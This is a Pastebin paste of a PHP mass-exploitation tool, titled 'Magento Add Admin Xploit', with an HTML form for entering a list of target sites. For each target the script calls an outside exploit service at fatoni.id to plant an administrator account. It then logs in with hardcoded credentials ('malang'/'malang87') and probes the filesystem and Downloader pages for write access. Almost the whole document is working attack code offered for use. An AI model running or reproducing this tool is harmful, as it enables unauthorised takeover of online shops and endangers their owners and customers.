Advertisement
AbdulMuttaqin

[PHP] Magento Add Admin Xploit

Oct 22nd, 2017
1,018
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.12 KB | None | 0 0
  1. <?php
  2. function cover() {
  3.     ;
  4. }
  5. function ngcurl($url,$post=null) {
  6.     $ch = curl_init($url);
  7.     if($post != null) {
  8.           curl_setopt($ch, CURLOPT_POST, true);
  9.           curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  10.     }
  11.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.           curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  13.           curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  14.           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  15.           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  16.           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  17.           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  18.     return curl_exec($ch);
  19.           curl_close($ch);
  20. }
  21. function ambilKata($param, $kata1, $kata2){
  22.     if(strpos($param, $kata1) === FALSE) return FALSE;
  23.     if(strpos($param, $kata2) === FALSE) return FALSE;
  24.     $start = strpos($param, $kata1) + strlen($kata1);
  25.     $end = strpos($param, $kata2, $start);
  26.     $return = substr($param, $start, $end - $start);
  27.     return $return;
  28. }
  29. echo cover();
  30. ?>
  31. <?php
  32. $link = explode("\r\n", $_POST['target']);
  33. $go = $_POST['go'];
  34. if(isset($go)) {
  35.     foreach($link as $url) {
  36.         $post_to_fatoni = array(
  37.             "url" => $url,
  38.             "hajar" => "Xploit!",
  39.         );
  40.         $curl_fatoni = ngcurl("http://fatoni.id/malangXploit.php", $post_to_fatoni);
  41.         if(preg_match("/Exploiting Success, mulai mengecek login../", $curl_fatoni)) {
  42.             echo "Target: <a href='$url' target='_blank'>$url</a><br>";
  43.             echo "Status: Sukses Di Xploit<br>";
  44.             echo "Ngecek Login........  ";
  45.             $ambil = htmlspecialchars(@file_get_contents($url));
  46.             preg_match("/<input name=\"form_key\" type=\"hidden\" value=\"(.*?)\">/", $ambil, $key);
  47.             $post_login = array(
  48.                 "form_key" => $key[1],
  49.                 "login[username]" => "malang",
  50.                 "dummy" => "",
  51.                 "login[password]" => "malang87",
  52.                );
  53.             $login = ngcurl($url."/admin/", $post_login);
  54.             if(preg_match("/Log Out|malang/", $login)) {
  55.                 $key2 = ambilKata($login,"/filesystem/adminhtml_filesystem/index/key/","/");
  56.                 $key3 = ambilKata($login,"/system_account/index/key/","/");
  57.                 echo "OK<br>";
  58.                 echo "username: malang<br>";
  59.                 echo "password: malang87<br>";
  60.                 echo "Filesystem: ";
  61.                 $curl_filesystem = ngcurl($url."/filesystem/adminhtml_filesystem/index/key/$key2/", null);
  62.                 if(preg_match("/File System/", $curl_filesystem)) {
  63.                     echo "Ada<br>";
  64.                 } else {
  65.                     echo "Gaada<br>";
  66.                 }
  67.                 echo "Downloader: ";
  68.                 $post_downloader = array(
  69.                     "username" => "malang",
  70.                     "password" => "malang87",
  71.                     );
  72.                 $url_d = parse_url($url, PHP_URL_HOST);
  73.                 $curl_downloader = ngcurl($url_d."/downloader/", $post_downloader);
  74.                 if(preg_match("/Return to Admin|Log Out/i", $curl_downloader)) {
  75.                     if(preg_match("/Your Magento folder does not have sufficient write permissions./", $curl_downloader)) {
  76.                         $stat_down = "<font color=red>Permissions</font>";
  77.                     } else {
  78.                         $stat_down = "<font color='#008000'>Permissions</font>";
  79.                     }
  80.                     echo "Ada [ <a href='http://$url_d/downloader/' target='_blank'>http://$url_d/downloader/</a> ( $stat_down ) ]<br>";
  81.                 } else {
  82.                     echo "Gaada<br>";
  83.                 }
  84.             } else {
  85.                 echo "Gagal<br>";
  86.             }
  87.         echo "<br>";
  88.         } else {
  89.             echo "Target: $url<br>";
  90.             echo "Status: Gagal Di Xploit<br><br>";
  91.         }
  92.     }
  93. } else {
  94. ?>
  95. <!DOCTYPE html>
  96. <html>
  97. <head>
  98. <meta http-equiv="author" content="The Alchemist"/>
  99. <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">
  100. <title>
  101. Magento Add Admin Xploiter
  102. </title>
  103.    <style type="text/css">
  104.    
  105.       body
  106.       {
  107.          color: #ffffff;
  108.          text-shadow: 2px 2px #000000;
  109.          background-color: #2F4F4F;
  110.          font-family: Arial, Helvetica, sans-serif;
  111.       }
  112.      
  113.  
  114.       pre
  115.       {
  116.          background-color: #353535;
  117.          border: solid 1px #505050;
  118.       }
  119.      
  120.       input
  121.       {
  122.          font-family: Arial, Helvetica, sans-serif;
  123.       }
  124.      
  125.       .Button
  126.       {
  127.          padding: 5px 10px;
  128.          background: #303030;
  129.          border: solid #101010 1px;
  130.          color: #fff;
  131.          cursor: pointer;
  132.          font-weight: bold;
  133.          border-radius: 5px;
  134.          -moz-border-radius: 5px;
  135.          -webkit-border-radius: 5px;
  136.          text-shadow: 1px 1px #000;
  137.       }
  138.      
  139.       .Input
  140.       {
  141.          border: solid #101010 1px;
  142.          color: white;
  143.          font-weight: bold;
  144.          padding: 3px;
  145.          background-color: #252525;
  146.       }
  147.     </style>
  148. </head>
  149.  
  150. <body>
  151. <p align=center>
  152. Drupal Mass Xploiter
  153. <img src="https://cdn.pbrd.co/images/GMNQMLe.jpg" alt="The Alchemist - IP Grabber" style="border:4px solid red;" height="250" widht="250"/></p>
  154. <center>
  155. <form method="post">
  156. <textarea name="target" class="Input" placeholder="http://www.target.com/" style="width: 100%; height: 100%;"></textarea><br>
  157. <input type="submit" name="go" value="Xploit" class="Button" style="width: 100%;">
  158. </form>
  159. </center>
  160. </html>
  161. <?php
  162. }
  163. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement